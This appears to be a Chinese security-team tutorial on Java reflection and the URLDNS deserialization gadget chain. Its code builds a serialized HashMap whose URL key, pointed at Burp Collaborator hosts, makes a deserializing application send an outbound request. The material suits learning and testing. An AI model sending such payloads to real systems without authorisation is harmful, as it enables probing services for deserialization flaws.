你一来,我就决心正经的,不是马虎地活下去,哪怕要费心费力,哪怕要我去牺牲呢。
--王小波 《爱你就像爱生命》
在学习本文技术或工具使用前,请您务必审慎阅读、充分理解各条款内容。
1、本团队分享的任何类型技术、工具文章等文章仅面向合法授权的企业安全建设行为与个人学习行为,严禁任何组织或个人使用本团队技术或工具进行非法活动。
2、在使用本文相关工具及技术进行测试时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。如您仅需要测试技术或工具的可行性,建议请自行搭建靶机环境,请勿对非授权目标进行扫描。
3、如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
4、本团队目前未发起任何对外公开培训项目和其他对外收费项目,严禁任何组织或个人使用本团队名义进行非法盈利。
5、本团队所有分享工具及技术文章,严禁不经过授权的公开分享。
如果发现上述禁止行为,我们将保留追究您法律责任的权利,并由您自身承担由禁止行为造成的任何后果。
package com.vuldemotest.testqax.entity;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.io.Serializable;
@Data
@AllArgsConstructor
@NoArgsConstructor
public class Person implements Serializable {
public String name;
private int age;
public void action(String act){
System.out.println(act);
}
}
package com.vuldemotest.testqax.entity;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Reflection {
public static void main(String[] args) throws Exception,ClassNotFoundException {
//反射就是操作Class Class就是原型class
// 反射的作用是在执行过程中进行对象的修改,可能表述有误,之前老师讲的,记不清了
Person person = new Person();
Class<?> c = person.getClass();
//等于上面,但是这个方式需要写路径,有时候会写错
Class<?> cc = Class.forName("com.vuldemotest.testqax.entity.Person");
//获取到原型Class后,就可以开始准备实例化对象
// 实例化对象需要先获取到构造方法,根据构造方法进行参数类型写入
Constructor<?> personconstructor = c.getConstructor(String.class, int.class);
//使用构造方法进行对象实例化
Object p = personconstructor.newInstance("lww", 19);
System.out.println(p);
//获取类里面的属性 这个只能获取公共属性,私有属性也要获取得用getDeclaredFields
Field[] fields = c.getFields();
for (Field field : fields) {
System.out.println(field);
}
//当一个类已经实例化了对象,那么通过反射,可以修改对象中的值,比如上面实例化了一个对象p,可以通过反射修改其中的值
//获取对应属性,并修改
Field namefield = c.getField("name");
namefield.set(p,"lhh");
//获取私有属性,并修改
Field agefield = c.getDeclaredField("age");
//允许访问私有属性 私有变量访问受限,有访问检查,暴力访问
agefield.setAccessible(true);
agefield.set(p,20);
System.out.println("通过反射修改后的对象p的值:"+p);
//调用类里面的方法,我们在Person里面写了一个action方法 如果是私有方法则是Declared
// 首先先获取方法
Method actionM = c.getMethod("action", String.class);
//触发方法
actionM.invoke(p,"hello,reflection");
}
}
经过目前简单的理解,我们反序列化,首先要有个入口类,入口类最好包含一些类,这些类首先可以序列化,其次这些类之间最好还有调用链。
调用链:
个人理解是有某个方法,是在一个很根本的类里面的,这个方法会在很多类(也可以是很少的调用)里面被调用,比如说Object类里面的hashCode方法。
如果有一个类a,使用了这个hashCode方法,然后另外一个类b包含了这个类a对象,也让类a对象去使用了这个方法,那么他们就是一个调用链。
为什么是hashCode方法呢?这个应该是根据个人经验来的,
比如说我们想找一个ssrf的漏洞,然后就会想能发起url请求的类是哪些,这些类里面,是否有可以序列化的类,找到可以使用的类后,再去找这些类里面有什么方法是常用的,或者这个方法名在其它类里面也是经常出现的,那么就有可能在其它类里面,传入当前类的对象,去调用这个方法。所以这个方法,大概率不能复杂,复杂的方法名,一般是当前类特有,所以需要去找一些常见的方法名进行尝试
package com.vuldemotest.testqax.entity;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;
public class SerializableDemo1 {
//接收一个类对象进行序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("src/main/resources/ser.txt"));
oos.writeObject(obj);
oos.close();
}
public static void main(String[] args) throws IOException {
HashMap<URL, Integer> hashMap = new HashMap<>();
hashMap.put(new URL("http://xtuo427rfsw7fy4yfx2j28yu5lbbz0.burpcollaborator.net"),1);
serialize(hashMap);
}
}
hashMap.put
put里面调用hash
hash里面调用hashCode,这个时候,是key.hashCode,而我们传入的是URL的对象,那么这里就是URL里面的hashCode
如果此时hashCode不等于-1,则直接返回hashCode,不会发起请求
但是往上拉,发现hashCode写死等于-1了,所以必定会走到handler.hashCode
那么handler.hashCode为什么会发起请求呢?
URL类里面的handler是URLStreamHandler类对象,URLStreamHandler可用于url的协议解析,其会进行url访问
所以在序列化的之前,put的时候就会进行一次访问,这个其实没什么问题,但是,我们想要看到的是反序列化的时候的操作,即访问,如果序列化的时候,也访问了,就会有可能影响我们的判断
通过反射,让序列化的时候,不发起访问。前面说hashCode写死等于-1了,所以必定会走到handler.hashCode,然后发起请求。
那么只要在put之前将其修改不为-1即可
package com.vuldemotest.testqax.entity;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializableDemo1 {
//接收一个类对象进行序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("src/main/resources/ser.txt"));
oos.writeObject(obj);
oos.close();
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> hashMap = new HashMap<>();
//通过反射将hashCode改成不是-1
URL url = new URL("http://j8sxtkda8ob44awv25a13ao0krqie7.burpcollaborator.net");
Class<? extends URL> c = url.getClass();
Field hashCodefield = c.getDeclaredField("hashCode");
hashCodefield.setAccessible(true);
hashCodefield.set(url,1234);
//put的时候就不会去请求
hashMap.put(url,1);
serialize(hashMap);
}
}
put后,再将hashCode的值设置为-1,然后序列化hashMap
package com.vuldemotest.testqax.entity;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializableDemo1 {
//接收一个类对象进行序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("src/main/resources/ser.txt"));
oos.writeObject(obj);
oos.close();
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> hashMap = new HashMap<>();
//通过反射将hashCode改成不是-1
URL url = new URL("http://mj9t2hy1zoganx6t0pajxg8dp4vujj.burpcollaborator.net");
Class<? extends URL> c = url.getClass();
Field hashCodefield = c.getDeclaredField("hashCode");
hashCodefield.setAccessible(true);
hashCodefield.set(url,1234);
//put的时候就不会去请求
hashMap.put(url,1);
//再将hashCode改回-1,当反序列化的时候,就会去发起请求
hashCodefield.set(url,-1);
serialize(hashMap);
}
}
package com.vuldemotest.testqax.entity;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnSerializableDemo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("src/main/resources/ser.txt"));
Object obj = ois.readObject();
//向下转型
// student s = (student) obj;
// System.out.println(s.getSid()+","+s.getAddress()+","+s.getName()+","+s.getAge());
ois.close();
}
}
END
如您有任何投稿、问题、建议、需求、合作、请后台留言NOVASEC公众号!
或添加NOVASEC-余生 以便于及时回复。
感谢大哥们的对NOVASEC的支持点赞和关注
加入我们与萌新一起成长吧!
本团队任何技术及文件仅用于学习分享,请勿用于任何违法活动,感谢大家的支持!!